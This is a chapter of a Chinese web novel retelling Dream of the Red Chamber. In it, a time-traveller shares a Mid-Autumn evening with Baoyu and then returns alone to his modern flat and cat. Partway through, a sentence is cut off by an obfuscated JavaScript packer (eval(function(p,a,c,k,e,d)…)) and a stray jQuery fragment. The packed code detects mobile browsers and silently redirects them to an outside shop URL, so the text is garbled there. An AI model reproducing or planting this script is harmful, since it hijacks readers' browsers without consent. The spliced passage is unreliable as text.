下午宝玉来找他，换了身簇新的衣裳，月白底子绣银灰云纹，头上戴着银冠，腰间系着青玉带，整个人像是从月亮里裁下来的一片。
他手里提着一个食盒，往桌上一放，掀开盖子是两碟精致的小菜和一壶温好的桂花酒。
“晚上园子里的宴我不去了，跟老太太说身上不大爽快。”宝玉在桌边坐下，给自己和林倾和各倒了一杯酒，“咱俩在外头吃，一样过中秋。”
林倾和看着他。宝玉说“身上不大爽快”的时候眼睛都没眨，语气自然得跟真的一样。他忽然想起那天宝玉说“我编瞎话可厉害了”，忍不住弯了弯嘴角。
“你笑什么？”
“笑你编瞎话不眨眼。”
宝玉得意地挑了挑眉，端起酒杯碰了碰林倾和的杯子，仰头喝干了。酒是桂花酿的，甜多烈少，喝下去喉咙里暖融融的。
两人就着那两碟小菜和一匣子月饼，坐在外书房的窗边慢慢吃。窗外月亮升起来了，又圆又亮，挂在凸碧堂的飞檐上，把整个园子照得银白。
远处传来丝竹声和笑闹声，是园子里宴席开场了。宝玉侧耳听了一会儿，没有要过去的意思，只是端着酒杯望着月亮，手指在杯沿上转圈。
“林兄，我昨晚又做梦了。”他忽然说。
林倾和夹菜的筷子停了一下。
“梦见一个大屋子，里面全是人，都穿得怪模怪样的，围着一张长桌子吃饭。桌子上有个大盘子，盘子里装着一只烤得金黄的鸟。”
宝玉盯着杯中的月亮倒影，声音放得很轻，“我坐在桌子中间，旁边有人往我碗里夹菜，跟我说多吃点。那人脸我看不清，但声音我记得，是个女的，挺温柔的。”
林倾和把筷子放下。他不知道该说什么。那些画面他认得，是他家楼下的快餐店，烤鸡套餐，有回他懒得做饭带宝玉去吃的。
那天宝玉戴着卫衣帽子，坐在塑料椅子里对着烤鸡研究了半天，最后用手撕着吃，吃得满手油，年年蹲在桌底下捡掉下来的肉渣。
“梦罢了。”他重复着之前的话，但这次说得没底气。
宝玉把杯子放下，转头看他。月光从窗外照进来，把他半边脸照得银白，另外半边沉在暗里。他看了林倾和一会儿，忽然问：“林兄，你信不信前世？”
“前世？”
“嗯。我这些天老想，那些梦里的东西，会不会是我前世的事？那个会发光的方匣子，那个铁屋子，还有那个声音温柔的女人，兴许都是我前世见过的。老太太信佛，说人是有前世的。我从前不信，现在倒有点信了。”
林倾和看着他在月光里那张认真的脸，喉结动了动。
他想说“那不是前世”，想说“那是真的，你忘了”，想说“那些事就发生在两个月前，在你坐的那个沙发上，年年还在你脚边打呼噜”。
可他说不出口。系统面板在黑暗中亮着红字，倒计时在跳。世界意识正在修正，他不能再说任何加深记忆的话。
“也许吧。”他最后只说了这三个字。
宝玉点了点头，没再追问。
他把椅子往林倾和这边挪了挪，两人并排坐着，看月亮慢慢从凸碧堂的檐角往上升，越升越高，越升越白，最后挂在正空，把整个院子照得亮堂堂的。
桂花的香味从园子那头一阵一阵飘过来，浓得化不开，混着酒香和宝玉身上惯有的熏香，把整个外书房塞得满满的。
“林兄，”宝玉靠着椅背，闭着眼，声音懒懒的，“你走了之后，我要是再梦见那些东西，跟谁说去？”
林倾和握着酒杯的手紧了紧。
“跟你林妹妹说。”
“她不笑话我才怪。”宝玉睁眼看他，月光映在眼珠里，两点白亮亮的，“林兄，你要是能一直住着就好了。我不图你别的，就图有个人能听我说这些不着调的话。”
林倾和没接话。他怕自己一开口声音会不对。他端起酒杯喝了一口，桂花酒甜得发苦。月亮在杯底晃了晃，碎成几瓣。院子里有夜鸟扑棱着翅膀从树上飞起来，带落了几片叶子，叶子飘到窗台上，又被风吹走了。
那晚宝玉走的时候，月亮已经偏西了。他喝了大半壶酒，步子有点晃，林倾和送到院门口。
宝玉扶着门框回头，月光把他的脸照得干干净净的，眼睛眯着，嘴角弯着，像要说什么又没说。最后只是伸手拍了拍林倾和的肩膀，力道轻轻的，掌心隔着衣料传过来一点温。
“林兄晚安。”
“晚安。”
他转身走了，月白的身影在月光下越来越淡，拐过墙角就不见了。林倾和站在门口，肩膀上那块被拍过的地方还留着一点余温。
他站了很久，直到月亮从飞檐那头彻底沉下去，园子里安静得只剩风声。他回屋关上门，坐在床边，从背包侧袋里摸出那根逗猫棒。铃铛在黑暗里响了一声，清脆得像一根针掉在石板上。
第二十九天夜里，林倾和没睡。
他坐在床边，背包放在膝盖上，拉链开着。东西都清好了，衣裳叠了三件，书两本，逗猫棒一根，银袋系在腰间。
系统面板上的红字已经变成了更急促的蓝红交替，倒计时在最后一个小时里跳得格外慢，每跳一下，窗外的月亮就移一寸。
子时刚过，系统提示弹出来：“传送将在今夜丑时启动。宿主需独自返回，请确认携带全部回收碎片及必要物资。传送启动后无法中断。”
独自返回。林倾和把逗猫棒从包里拿出来放在枕边，铃铛在月光里闪了一下。
他摸了摸竹竿上那块磨亮的竹皮，又把它放回包里，拉上拉链。窗外有箫声远远响起来，还是那个熟悉的调子，断断续续的，像在吹一首没写完的曲子。
他闭上眼听了一会儿，站起来走到桌边，把白天写好的两封信压在茶壶底下。一封给宝玉，一封留给贾母，都是道谢和辞行的话，没提别的。
丑时。月亮偏到了窗框右边，光从竹帘缝里斜进来，在地上铺出一条窄窄的白。
林倾和背上包，最后看了一眼这间住了将近一个月的屋子。窄床、方桌、粗瓷茶壶、窗台上那盆不知名的绿植，每一样都摆在他记得住的位置。
他伸手把茶壶挪正，又把椅子推回桌下，让屋子看起来像没人住过。
出了外书房，园子里静得只有竹叶的沙沙声。他没走平时走的大路，绕到假山后面那条小径，从侧门出了园子，穿过夹道，到了那天法事搭棚的空地上。
矮墙还在，桂花树还在，金黄的桂花落了一地，在月光里像撒了一地碎金。他靠着矮墙站定，系统面板在眼前亮起来，传送入口开始在半空中凝聚。
光纹一圈一圈扩散，和来的时候一样。
他闭上眼。光涌上来的时候，他忽然想起一件事。
那晚宝玉在沙发上问他“你以后若回江南了会告诉我一声吗”，他答应了。他答应了，但没做到。他走了，留了两封信，连句当面的话都没说。
光灭了。
再睁眼，他站在自家客厅里。
灯还亮着，是玄关那盏落地灯，他离开那晚忘了关。年年从沙发上跳下来，喵了一声，凑过来蹭他的脚踝，尾巴绕着他的小腿转了一圈。
客厅里一切没变，茶几上的半包纸巾还在，遥控器斜放在沙发扶手上，猫粮碗里还剩一层
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17959329|214301||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
底。
他低头看手机，屏幕亮起来，日期显示：离开那天之后第四天。
系统面板弹出来，蓝字干干净净的：“碎片回收成功。修复进度：9%。第二枚碎片定位中。”
他走到沙发边坐下，年年跳上他的膝盖团成一团，呼噜声细细的。
他把背包放在茶几上，拉开侧袋，把逗猫棒拿出来。羽毛被压扁了些，铃铛还在。
他握着竹竿，拇指蹭过那块磨亮的竹皮，在灯下仔细看了看，竹皮上的光泽还在，像被人攥过很多次。他把逗猫棒放在茶几上，靠着沙发背仰起头。
天花板上映着窗外的路灯光，昏黄一片。
脑子里全是宝玉最后那晚的样子。月白的身影，弯弯的眉眼，拍在他肩上的手掌，还有那句“林兄晚安”。
他闭上眼，桂花香好像还在鼻尖，浓得化不开。年年在他膝盖上翻了个身，露出肚皮，爪子去够他的手指。
他低头看它，忽然想起宝玉蹲在地上拿逗猫棒逗它，年年蹦来蹦去，铃铛叮叮当当响个不停。那天下午的阳光从窗帘缝里照进来，落在宝玉的侧脸上，照出细细的绒毛。
他伸手摸了摸年年的头，年年眯起眼，喉咙里咕噜了一声。
“他把你忘了。”林倾和对猫说。
年年打了个哈欠，尾巴甩了甩。
林倾和坐了一会儿，站起来去厨房烧水。水开了，他泡了碗方便面，坐在茶几前吃。面汤的热气蒸上来，扑在脸上，又湿又烫。
他吃了两口，抬头看见电视屏幕上落了一层薄灰，是这四天攒的。他伸手在上面抹了一下，指腹上沾了一层灰。
电视旁边放着那件深灰的长袍和幞头，是他走之前叠好放在那里的。
他低头看着那两件衣裳，面汤的热气模糊了镜片。他摘下来擦了擦，又重新戴上。
吃完面，他把碗洗了，又把客厅收拾了一遍。地扫了，茶几擦了，猫粮碗添满，水碗换了新水。
做完这些他坐在沙发上，掏出手机看了看。编辑的消息还挂在最上面：“稿子缓多久？”他想了想，打了几个字：“再给我一周。”发完锁屏扔在一边。
年年跳上沙发，在他旁边趴下，下巴搁在他腿上。他伸手摸着猫的后背，一节一节的脊骨在掌心下起伏。窗外夜深了，对面楼的灯一盏一盏灭了。
他把逗猫棒从茶几上拿起来，举到眼前看了看，羽毛在灯光里投下细碎的影子。铃铛轻轻响了一声。
他把逗猫棒插回背包侧袋，拉上拉链，然后靠着沙发背，慢慢闭上了眼。年年在他腿上打着呼噜，细细的，均匀的。
他脑子里宝玉的声音还在转，含含糊糊的，听不真切，像隔着水和雾传过来的。
他想记住那个声音，但那个声音在慢慢淡下去，跟那晚宝玉走远的脚步声一样，越来越轻，越来越远，最后融进客厅里的黑暗里，听不见了。
他睁开眼，系统面板在视野角落里安静地亮着。修复进度：9%。下一个碎片，下一个世界。他低头看了看年年，橘猫的毛被灯光镀了一层暖黄。
他把猫抱起来放到一边，站起来往卧室走。经过茶几的时候，他停了一步，伸手把逗猫棒的铃铛拨了一下。叮当一声，细细的，在空荡的客厅里响过就没了。
卧室门关上。
客厅的灯还亮着，年年跳回沙发上，团在逗猫棒旁边，尾巴搭在铃铛上。
窗外的月亮从云里钻出来，在茶几上铺了一层白。
背包侧袋里，那根羽毛在暗里轻轻晃了晃，铃铛又被年年的尾巴扫了一下，叮的一声，很轻，像谁在很远的地方说了句什么，听不真了。